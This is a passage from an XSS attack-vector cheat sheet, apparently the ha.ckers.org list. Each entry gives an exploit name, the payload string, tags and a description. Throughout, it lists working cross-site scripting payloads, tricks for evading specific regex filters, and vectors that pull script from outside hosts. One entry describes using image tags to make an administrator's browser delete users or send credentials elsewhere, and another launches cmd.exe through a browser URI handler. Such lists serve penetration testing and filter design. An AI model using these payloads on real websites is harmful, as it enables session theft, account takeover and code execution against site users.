ascript:alert('XSS');"> Exploit Description: Embedded newline to break up XSS. Some websites claim that any of the chars 09-13 (decimal) will work for this attack. That is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org Embedded Tab Exploit Name: Embedded Tab Exploit String: <IMG SRC="javascript:alert('XSS');"> Exploit Description: Embedded tab to break up the cross site scripting attack. Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org End title tag Exploit Name: End title tag Exploit String: </TITLE><SCRIPT>alert("XSS");</SCRIPT> Exploit Description: This is a simple XSS vector that closes TITLE tags, which can encapsulate the malicious cross site scripting attack. Exploit Tags: general, title breaking Author Name: ha.ckers.org Escaping JavaScript escapes Exploit Name: Escaping JavaScript escapes Exploit String: \";alert('XSS');// Exploit Description: Escaping JavaScript escapes. When the application is written to output some user information inside of a JavaScript like the following: <SCRIPT>var a=」$ENV{QUERY_STRING}」;</SCRIPT> and you want to inject your own JavaScript into it but the server side application escapes certain quotes you can circumvent that by escaping their escape character. When this is gets injected it will read <SCRIPT>var a=」」;alert('XSS');//」;</SCRIPT> which ends up un-escaping the double quote and causing the Cross Site Scripting vector to fire. Exploit Tags: general, JS breaking Author Name: ha.ckers.org Evade Regex Filter 1 Exploit Name: Evade Regex Filter 1 Exploit String: <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: For performing XSS on sites that allow 」<SCRIPT>」 but don't allow 」<SCRIPT SRC...」 by way of the following regex filter: /<script[^>]+src/i Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Evade Regex Filter 2 Exploit Name: Evade Regex Filter 2 Exploit String: <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: For performing XSS on sites that allow 」<SCRIPT>」 but don't allow 」<SCRIPT SRC...」 by way of a regex filter: /<script((\s+\w+(\s*=\s*(?:」(.)*?」|'(.)*?'|[^'」>\s]+))?)+\s*|\s*)src/i this is an important one, because I've seen this regex in the wild) Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Evade Regex Filter 3 Exploit Name: Evade Regex Filter 3 Exploit String: <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: Another XSS to evade this regex filter: /<script((\s+\w+(\s*=\s*(?:」(.)*?」|'(.)*?'|[^'」>\s]+))?)+\s*|\s*)src/i Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Evade Regex Filter 4 Exploit Name: Evade Regex Filter 4 Exploit String: <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: Yet another XSS to evade the same filter: /<script((\s+\w+(\s*=\s*(?:」(.)*?」|'(.)*?'|[^'」>\s]+))?)+\s*|\s*)src/i The only thing I've seen work against this XSS attack if you still want to allow <SCRIPT> tags but not remote scripts is a state machine (and of course there are other ways to get around this if they allow <SCRIPT> tags) Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Evade Regex Filter 5 Exploit Name: Evade Regex Filter 5 Exploit String: <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: And one last XSS attack (using grave accents) to evade this regex: /<script((\s+\w+(\s*=\s*(?:」(.)*?」|'(.)*?'|[^'」>\s]+))?)+\s*|\s*)src/i Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Eval string contained in name property Exploit Name: Eval string contained in name property Exploit String: eval(name) Exploit Description: This very simple but effective vector uses the eval method on the name property. Exploit Tags: general, super short, self contained Author Name: SIrDarckCat Extra dot for Absolute DNS Exploit Name: Extra dot for Absolute DNS Exploit String: <A HREF="http://www.google.com./">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). Exploit Tags: general, evil tags Author Name: ha.ckers.org Extraneous Open Brackets Exploit Name: Extraneous Open Brackets Exploit String: <<SCRIPT>alert("XSS");//<</SCRIPT> Exploit Description: (Submitted by Franz Sedlmaier http://www.pilorz.net/). This XSS vector could defeat certain detection engines that work by first using matching pairs of open and close angle brackets and then by doing a comparison of the tag inside, instead of a more efficient algorythm like Boyer-Moore (http://www.cs.utexas.edu/users/moore/best-ideas/string-searching/) that looks for entire string matches of the open angle bracket and associated tag (post de-obfuscation, of course). The double slash comments out the ending extraneous bracket to supress a JavaScript error. Exploit Tags: general, obfuscated Author Name: ha.ckers.org Filter Evasion 1 Exploit Name: Filter Evasion 1 Exploit String: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Filter Evasion 2 Exploit Name: Filter Evasion 2 Exploit String: <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly. Exploit Tags: general, evil tags, obfuscated, injection Author Name: ha.ckers.org Firefox Lookups 1 Exploit Name: Firefox Lookups 1 Exploit String: <A HREF="//google">XSS</A> Exploit Description: Firefox uses Google's 」feeling lucky」 function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's 」keyword:」 protocol. You can concatenate several keywords by using something like the following 」keyword:XSS+RSnake」 Exploit Tags: general, evil tags, gecko Author Name: ha.ckers.org Firefox Lookups 2 Exploit Name: Firefox Lookups 2 Exploit String: <A HREF="http://ha.ckers.org@google">XSS</A> Exploit Description: This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the 」feeling lucky」 function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera. Exploit Tags: general, evil tags, obfuscated, gecko Author Name: ha.ckers.org Firefox Lookups 3 Exploit Name: Firefox Lookups 3 Exploit String: <A HREF="http://google:ha.ckers.org">XSS</A> Exploit Description: This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the 」feeling lucky」 function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case 」google」). Exploit Tags: general, evil tags, obfuscated, gecko Author Name: ha.ckers.org firefoxurl: uri exploit (UXSS) Exploit Name: firefoxurl: uri exploit (UXSS) Exploit String: firefoxurl:test|"%20-new-window%20javascript:alert(\'Cross%2520Browser%2520Scripting!\');" Exploit Description: This vector creates an UXSS via firefoxurl: Exploit Tags: URI exploits, general, injection, obfuscated, internet explorer Author Name: xs-sniper FRAME Exploit Name: FRAME Exploit String: <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET> Exploit Description: Frame (Frames have the same sorts of XSS problems as iframes). Exploit Tags: general, evil tags, style injection, internet explorer Author Name: ha.ckers.org Grave Accents Exploit Name: Grave Accents Exploit String: <IMG SRC=`javascript:alert("RSnake says### 'XSS'")`> Exploit Description: Grave accent obfuscation (If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org Half-Open HTML/JavaScript Exploit Name: Half-Open HTML/JavaScript Exploit String: <IMG SRC="javascript:alert('XSS')" Exploit Description: Unlike Firefox, the IE rendering engine doesn't add extra data to your page, but it does allow the 」javascript:」 directive in images. This is useful as a vector because it doesn't require a close angle bracket. This assumes that there is at least one HTML tag below where you are injecting this cross site scripting vector. Even though there is no close > tag the tags below it will close it. A note: this does mess up the HTML, depending on what HTML is beneath it. See http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-mookhey/bh-us-04-mookhey-up.ppt for more info. It gets around the following NIDS regex: /((\%3D)|(=))[^\n]*((\%3C)|<)[^\n]+((\%3E)|>)/ As a side note, this was also effective against a real world XSS filter I came across using an open ended <IFRAME tag instead of an <IMG tag. Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org Hex Encoding Exploit Name: Hex Encoding Exploit String: <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex digit is not required. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Hex Encoding w/out Semicolons Exploit Name: Hex Encoding w/out Semicolons Exploit String: <IMG SRC=javascript:alert('XSS')> Exploit Description: Hex encoding without semicolons (this is also a viable XSS attack against the above string $tmp_string = ~ s/.*\&#(\d+);.*/$1/; which assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org HTML Entities Exploit Name: HTML Entities Exploit String: <IMG SRC=javascript:alert("XSS")> Exploit Description: HTML entities (the semicolons are required for this to work). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org HTML Quoute & Comment breaker Exploit Name: HTML Quoute & Comment breaker Exploit String: '';!--"<script>alert(0);</script>=&{(alert(1))} Exploit Description: This vector breaks HTML quotes and comments. Exploit Tags: general, html breaking, comment breaking Author Name: .mario HTML wrapped in XML Exploit Name: HTML wrapped in XML Exploit String: <?xml version="1.0"?> <html:html xmlns:html='http://www.w3.org/1999/xhtml'> <html:script> alert(document.cookie); </html:script> </html:html> Exploit Description: This vector uses HTML wrapped in XML and can be used to circumvent common filters. This works in Gecko based browsers only. Exploit Tags: general, XML injection, evil tags, gecko, obfuscated Author Name: SIrDarckCat IE backticked semicolon injection Exploit Name: IE backticked semicolon injection Exploit String: <img src=`x` onrerror= ` ;; alert(1) ` /> Exploit Description: This vector utilized back ticks as attribute delimiters. This works only in IE. Exploit Tags: general, injection, internet explorer Author Name: .mario IE closing-tag expression injection Exploit Name: IE closing-tag expression injection Exploit String: </a style=""xx:expr/**/ession(document.appendChild(document.createElement('script')).src='http://h4k.in/i.js')"> Exploit Description: This vector exploits a bug in IE whre attributes in closing comments are evaluated. Exploit Tags: general, injection, internet explorer Author Name: .mario IE expression injection Exploit Name: IE expression injection Exploit String: style=color: expression(alert(0));" a=" Exploit Description: This vector utilizes the feature of CSS expressions in IE. Exploit Tags: general, injection, internet explorer, style injection Author Name: .mario IE VB Messagebox injection Exploit Name: IE VB Messagebox injection Exploit String: vbscript:Execute(MsgBox(chr(88)&chr(83)&chr(83)))< Exploit Description: This injects VB code and produces a message box. IE only. Exploit Tags: general, basic, internet explorer Author Name: .mario IFRAME Exploit Name: IFRAME Exploit String: <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Exploit Description: Iframe (If iframes are allowed there are a lot of other XSS problems as well). Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org Image onerror wrapped in XML statement Exploit Name: Image onerror wrapped in XML statement Exploit String: a=<a> <b> %3c%69%6d%67%2f%73%72%63%3d%31 %20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e </b> </a> document.write(unescape(a..b)) Exploit Description: This vector writes an erroneous image tag with onerror hanlder inside an E4X construct into the document context. Exploit Tags: general, obfuscated, gecko, XML predicates, evil tags Author Name: .mario Image tag with obfuscated JS URI Exploit Name: Image tag with obfuscated JS URI Exploit String: <IMG SRC="jav	ascript:alert(<WBR>'XSS');"> <IMG SRC="jav
ascript:alert(<WBR>'XSS');"> <IMG SRC="jav
ascript:alert(<WBR>'XSS');"> Exploit Description: This vector creates three image tags with differing CRLF obfuscation in the javascript: URI. Exploit Tags: general, basic, obfuscated, evil tags, internet explorer Author Name: OWASP Image w/CharCode Exploit Name: Image w/CharCode Exploit String: <IMG SRC=javascript:alert(String.fromCharCode(88###83###83))> Exploit Description: If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need. Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org IMG Dynsrc Exploit Name: IMG Dynsrc Exploit String: <IMG DYNSRC="javascript:alert('XSS');"> Exploit Description: IMG Dynsrc Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org IMG Embedded commands 1 Exploit Name: IMG Embedded commands 1 Exploit String: <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> Exploit Description: This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc... This is one of the lesser used but more useful XSS vectors. Exploit Tags: general, evil tags Author Name: ha.ckers.org IMG Embedded commands 2 Exploit Name: IMG Embedded commands 2 Exploit String: Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser Exploit Description: IMG Embedded commands part II - this is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal <IMG SRC=」http://badguy.com/a.jpg」> could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this). Exploit Tags: general, redirect Author Name: ha.ckers.org IMG Lowsrc Exploit Name: IMG Lowsrc Exploit String: <IMG LOWSRC="javascript:alert('XSS');"> Exploit Description: IMG Lowsrc Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org IMG No Quotes/Semicolon Exploit Name: IMG No Quotes/Semicolon Exploit String: <IMG SRC=javascript:alert('XSS')> Exploit Description: No quotes and no semicolon Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org IMG STYLE w/expression Exploit Name: IMG STYLE w/expression Exploit String: exp/*<XSS STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'> Exploit Description: IMG STYLE with expression (this is really a hybrid of several CSS XSS vectors, but it really does show how hard STYLE tags can be to parse apart, like the other CSS examples this can send IE into a loop). Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org IMG w/JavaScript Directive Exploit Name: IMG w/JavaScript Directive Exploit String: <IMG SRC="javascript:alert('XSS');"> Exploit Description: Image XSS using the JavaScript directive. Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org IMG w/VBscript Exploit Name: IMG w/VBscript Exploit String: <IMG SRC='vbscript:msgbox("XSS")'> Exploit Description: VBscript in an image Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org INPUT Image Exploit Name: INPUT Image Exploit String: <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"> Exploit Description: INPUT Image Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org IP Encoding Exploit Name: IP Encoding Exploit String: <A HREF="http://66.102.7.147/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org JavaScript concatenation vector variant 1 Exploit Name: JavaScript concatenation vector variant 1 Exploit String: s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1 Exploit Description: This vector concatenates a string and evaluates it via mapping on URL Exploit Tags: general, internet explorer, concatenated, obfuscated Author Name: PHPIDS Group JavaScript concatenation vector variant 2 Exploit Name: JavaScript concatenation vector variant 2 Exploit String: s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7; Exploit Description: This vector concatenates a string and evaluates it via self-execution. Exploit Tags: general, concatenated, obfuscated Author Name: PHPIDS Group JavaScript concatenation vector variant 3 Exploit Name: JavaScript concatenation vector variant 3 Exploit String: s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i); Exploit Description: This vector concatenates a string and evaluates it via usage of common DOM methods and element creation. Exploit Tags: general, concatenated, obfuscated Author Name: PHPIDS Group JavaScript concatenation vector variant 4 Exploit Name: JavaScript concatenation vector variant 4 Exploit String: s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)']; Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a JSON array. Exploit Tags: general, JSON, concatenated, obfuscated Author Name: PHPIDS Group JavaScript concatenation vector variant 5 Exploit Name: JavaScript concatenation vector variant 5 Exploit String: s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+'']; Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a JSON array. Exploit Tags: general, JSON, concatenated, obfuscated Author Name: PHPIDS Group JavaScript concatenation vector variant 6 Exploit Name: JavaScript concatenation vector variant 6 Exploit String: s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7; Exploit Description: This vector concatenates a string and evaluates it via filling the URL property with payload concatenated in a string via ternary operators. Exploit Tags: general, internet explorer, concatenated, obfuscated Author Name: PHPIDS Group JavaScript concatenation vector variant 7 Exploit Name: JavaScript concatenation vector variant 7 Exploit String: s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+''; Exploit Description: This vector concatenates a string and evaluates it via filling a variable with payload concatenated in a regular string via ternary operators. Exploit Tags: general, JSON, concatenated, obfuscated Author Name: PHPIDS Group JavaScript Includes Exploit Name: JavaScript Includes Exploit String: <BR SIZE="&{alert('XSS')}"> Exploit Description: &JavaScript includes (works in Netscape 4.x). Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org JavaScript Link Location Exploit Name: JavaScript Link Location Exploit String: <A HREF="javascript:document.location='http://www.google.com/'">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed) JavaScript link location Exploit Tags: general, evil tags, obfuscated, redirect Author Name: ha.ckers.org JavaScript-breaker using carriage return Exploit Name: JavaScript-breaker using carriage return Exploit String: %0da=eval;b=alert;a(b(/d/.source)); Exploit Description: This vector uses an urlencoded carriage return to break JS code and produce an alert afterwards. Exploit Tags: general, JS breaking, CRLF Author Name: kishor JS link with whitespace obfuscation Exploit Name: JS link with whitespace obfuscation Exploit String: <a href = "javas cript :ale rt(1)">test Exploit Description: This vector utilizes whitespace to obfuscate and contains a JS link. Exploit Tags: general, evil tags, obfuscated Author Name: thespanner.co.uk JS string concatenation breaker Exploit Name: JS string concatenation breaker Exploit String: +alert(0)+ Exploit Description: This can be used when input is concatenated in JavaScript. Exploit Tags: general, JS breaking, basic Author Name: .mario JSON based obfuscated onload vector Exploit Name: JSON based obfuscated onload vector Exploit String: <body onload=;a2={y:eval};a1={x:a2.y('al'+'ert')};;;;;;;;;_=a1.x;_(1);;;; Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. JSON parenthesis and semicolons are to evade filters. Exploit Tags: general, evil tags, JSON, obfuscated Author Name: thespanner.co.uk JSON based onload vector Exploit Name: JSON based onload vector Exploit String: <body onload=a1={x:this.parent.document};a1.x.writeln(1);> Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM Exploit Tags: general, evil tags, JSON, obfuscated Author Name: thespanner.co.uk JSON based semicolon-onload vector Exploit Name: JSON based semicolon-onload vector Exploit String: <body onload=;a1={x:document};;;;;;;;;_=a1.x;_.write(1);;;; Exploit Description: This vector injects a new body tag and utilized the onload event to modify the DOM. Also this vector uses semicolons to obfuscate. Exploit Tags: general, evil tags, JSON, obfuscated Author Name: thespanner.co.uk LAYER Exploit Name: LAYER Exploit String: <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER> Exploit Description: Layer (Older Netscape only) Exploit Tags: general, evil tags Author Name: ha.ckers.org List-style-image Exploit Name: List-style-image Exploit String: <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS Exploit Description: Fairly esoteric issue dealing with embedding images for bulleted lists. This will only work in the IE rendering engine because of the JavaScript directive. Not a particularly useful cross site scripting vector. Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org Livescript Exploit Name: Livescript Exploit String: <IMG SRC="livescript:[code]"> Exploit Description: Livescript (Older Netscape only) Exploit Tags: general, evil tags Author Name: ha.ckers.org Local .htc file Exploit Name: Local .htc file Exploit String: <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);"> Exploit Description: This uses an .htc file which must be on the same server as the XSS vector. The example file works by pulling in the JavaScript and running it as part of the style attribute. Exploit Tags: general, evil tags, internet explorer, injection Author Name: ha.ckers.org Long UTF-8 Unicode w/out Semicolons Exploit Name: Long UTF-8 Unicode w/out Semicolons Exploit String: <IMG SRC=javascript:alert('XSS')> Exploit Description: Long UTF-8 Unicode encoding without semicolons (this is often effective in XSS that attempts to look for 」&#XX;」, since most people don't know about padding - up to 7 numeric characters total). This is also useful against people who decode against strings like $tmp_string =~ s/.*\&#(\d+);.*/$1/; which incorrectly assumes a semicolon is required to terminate an html encoded string (I've seen this in the wild). Exploit Tags: general, evil tags, obfuscated, internet explorer Author Name: ha.ckers.org Malformed IMG Tags Exploit Name: Malformed IMG Tags Exploit String: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> Exploit Description: Originally found by Begeek (http://www.begeek.it/2006/03/18/esclusivo-vulnerabilita-xss-in-firefox/#more-300 - cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Markup breaker with special quotes Exploit Name: Markup breaker with special quotes Exploit String: %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);// Exploit Description: This markup breaking vector utilizes specially crafted quotes to break the existing markup. Exploit Tags: general, html breaking, JS breaking Author Name: kishor META Exploit Name: META Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> Exploit Description: The odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs. Exploit Tags: general, evil tags Author Name: ha.ckers.org META w/additional URL parameter Exploit Name: META w/additional URL parameter Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"> Exploit Description: Meta with additional URL parameter. If the target website attempts to see if the URL contains an 」http://」 you can evade it with the following technique (Submitted by Moritz Naumann http://www.moritz-naumann.com) Exploit Tags: general, evil tags Author Name: ha.ckers.org META w/data:URL Exploit Name: META w/data:URL Exploit String: <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64###PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"> Exploit Description: This is nice because it also doesn't have anything visibly that has the word SCRIPT or the JavaScript directive in it, since it utilizes base64 encoding. Please see http://www.ietf.org/rfc/rfc2397.txt for more details Exploit Tags: general, evil tags Author Name: ha.ckers.org Mixed Encoding Exploit Name: Mixed Encoding Exploit String: <A HREF="http://6	6.000146.0x7.147/">XSS</A> Exploit Description: URL string evasion (assuming 」http://www.google.com/」 is programmatically disallowed). The tabs and newlines only work if this is encapsulated with quotes. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Mocha Exploit Name: Mocha Exploit String: <IMG SRC="mocha:[code]"> Exploit Description: Mocha (Older Netscape only) Exploit Tags: general, evil tags Author Name: ha.ckers.org Mozilla -moz-binding-url injection Exploit Name: Mozilla -moz-binding-url injection Exploit String: style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a=" Exploit Description: The vector incudes a binding file via injected style attrbute. Gecko only. Exploit Tags: general, injection, gecko, style injection, XBL Author Name: .mario Mozilla -moz-binding-url injection - filter evading Exploit Name: Mozilla -moz-binding-url injection - filter evading Exploit String: sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar</b>#xss)" a=" Exploit Description: This vector was once used on a major site to evade a stripping filter and inject binding XML. Exploit Tags: general, injection, gecko, style injection, XBL Author Name: PHPIDS Group Multiline selfcontained XSS Exploit Name: Multiline selfcontained XSS Exploit String: _ = eval b=1 __ = location c=1 _ ( __ . hash // . substr (1) ) Exploit Description: This vector uses line breaks to obfuscate and evaluates the location hash. Exploit Tags: self contained, general, obfuscated Author Name: .mario Multiline w/Carriage Returns Exploit Name: Multiline w/Carriage Returns Exploit String: <IMGSRC="javascript:alert('XSS')"> Exploit Description: Multiline Injected JavaScript using ASCII carriage returns (same as above only a more extreme example of this XSS vector). Exploit Tags: general, evil tags, internet explorer Author Name: ha.ckers.org Name contained XSS variant 1 Exploit Name: Name contained XSS variant 1 Exploit String: b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name Exploit Description: This vector depends on attackers ability to access the window.name property where the payload is located. Exploit Tags: general, name contained, obfuscated Author Name: PHPIDS Group Name contained XSS variant 2 Exploit Name: Name contained XSS variant 2 Exploit String: a=/ev/// .source a+=/al/// .source a[a] (name) Exploit Description: This name contained XSS requires newlines to be able to work - and access to the window.name property. Exploit Tags: general, name contained, obfuscated Author Name: .mario Name contained XSS variant 3 Exploit Name: Name contained XSS variant 3 Exploit String: a=/ev/ .source a+=/al/ .source,a = a[a] a(name) Exploit Description: New-lined requiring name contained vector - this time not comment obfuscated so easier to detect. Exploit Tags: general, name contained Author Name: PHPIDS Group Name contained XSS variant 4 Exploit Name: Name contained XSS variant 4 Exploit String: setTimeout// (name// ,0) Exploit Description: This vector utilizes the setTimeout function to fire - also it's name contained and comment-obfuscated and requires newlines. Exploit Tags: general, name contained, obfuscated, timed Author Name: PHPIDS Group navigatorurl: code execution Exploit Name: navigatorurl: code execution Exploit String: navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process) Exploit Description: This navigatorurl-uri executes the cmd.exe on vulnerable systems. Exploit Tags: URI exploits, gecko, injection, general Author Name: xs-sniper No Closing Script Tag Exploit Name: No Closing Script Tag Exploit String: <SCRIPT SRC=http://ha.ckers.org/xss.js Exploit Description: In Firefox and Netscape 8.1 in the Gecko rendering engine mode you don't actually need the 」></SCRIPT>」 portion of this Cross Site Scripting vector. Firefox assumes it's safe to close the HTML tag and add closing tags for you. How thoughtful! Unlike the next one, which doesn't affect Firefox, this does not require any additional HTML below it. You can add quotes if you need to, but they're not needed generally. Exploit Tags: general, evil tags, injection, gecko Author Name: ha.ckers.org No Quotes/Semicolons Exploit Name: No Quotes/Semicolons Exploit String: <SCRIPT>a=/XSS/alert(a.source)</SCRIPT> Exploit Description: No single quotes or double quotes or semicolons. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Non-Alpha/Non-Digit Exploit Name: Non-Alpha/Non-Digit Exploit String: <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT> Exploit Description: Non-alpha-non-digit XSS. While I was reading the Firefox HTML parser I found that it assumes a non-alpha-non-digit is not valid after an HTML keyword and therefore considers it to be a whitespace or non-valid token after an HTML tag. The problem is that some XSS filters assume that the tag they are looking for is broken up by whitespace. For example 」<SCRIPT\s」 != 」<SCRIPT/XSS\s」 Exploit Tags: general, evil tags, injection Author Name: ha.ckers.org Non-Alpha/Non-Digit Part 2 Exploit Name: Non-Alpha/Non-Digit Part 2 Exploit String: <BODY onload!#$%&()*~+-_.###:;?@[/|\]^`=alert("XSS")> Exploit Description: Non-alpha-non-digit XSS part 2. yawnmoth brought my attention to this vector, based on the same idea as above, however, I expanded on it, using my fuzzer. The Gecko rendering engine allows for any character other than letters, numbers or encapsulation chars (like quotes, angle brackets, etc...) between the event handler and the equals sign, making it easier to bypass cross site scripting blocks. Note that this does not apply to the grave accent char as seen here. Exploit Tags: general, evil tags, obfuscated Author Name: ha.ckers.org Noscript-breaker with mouseover Exploit Name: Noscript-breaker with mouseover Exploit String: </noscript><br><code onmouseover=a=eval;b=alert;a(b(/h/.source));>MOVE MOUSE OVER THIS AREA</code> Exploit Description: This vector breaks noscript areas and appends an element reacting on mouseover events. Exploit Tags: general, html breaking, obfuscated, user interaction Author Name: kishor Null Chars 1 Exploit Name: Null Chars 1 Exploit String: perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out Exploit Description: Okay, I lied, null chars also work as XSS vectors but not like above, you need to inject them directly using something like Burp Proxy (http://www.portswigger.net/proxy/) or use %00 in the URL string or if you want to write your own injection tool you can use Vim (^V^@ will produce a null) to generate it into a text file. Okay, I lied again, older versions of Opera (circa 7.11 on Windows) were vulnerable to one additional char 173 (the soft hyphen control char). But the null char %00 is much more useful and helped me bypass certain real world filters with a variation on this example. Exploit Tags: general, evil tags, obfuscated, internet explorer, CRLF Author Name: ha.ckers.org Null Chars 2 Exploit Name: Null Chars 2 Exploit String: perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out Exploit Description: Here is 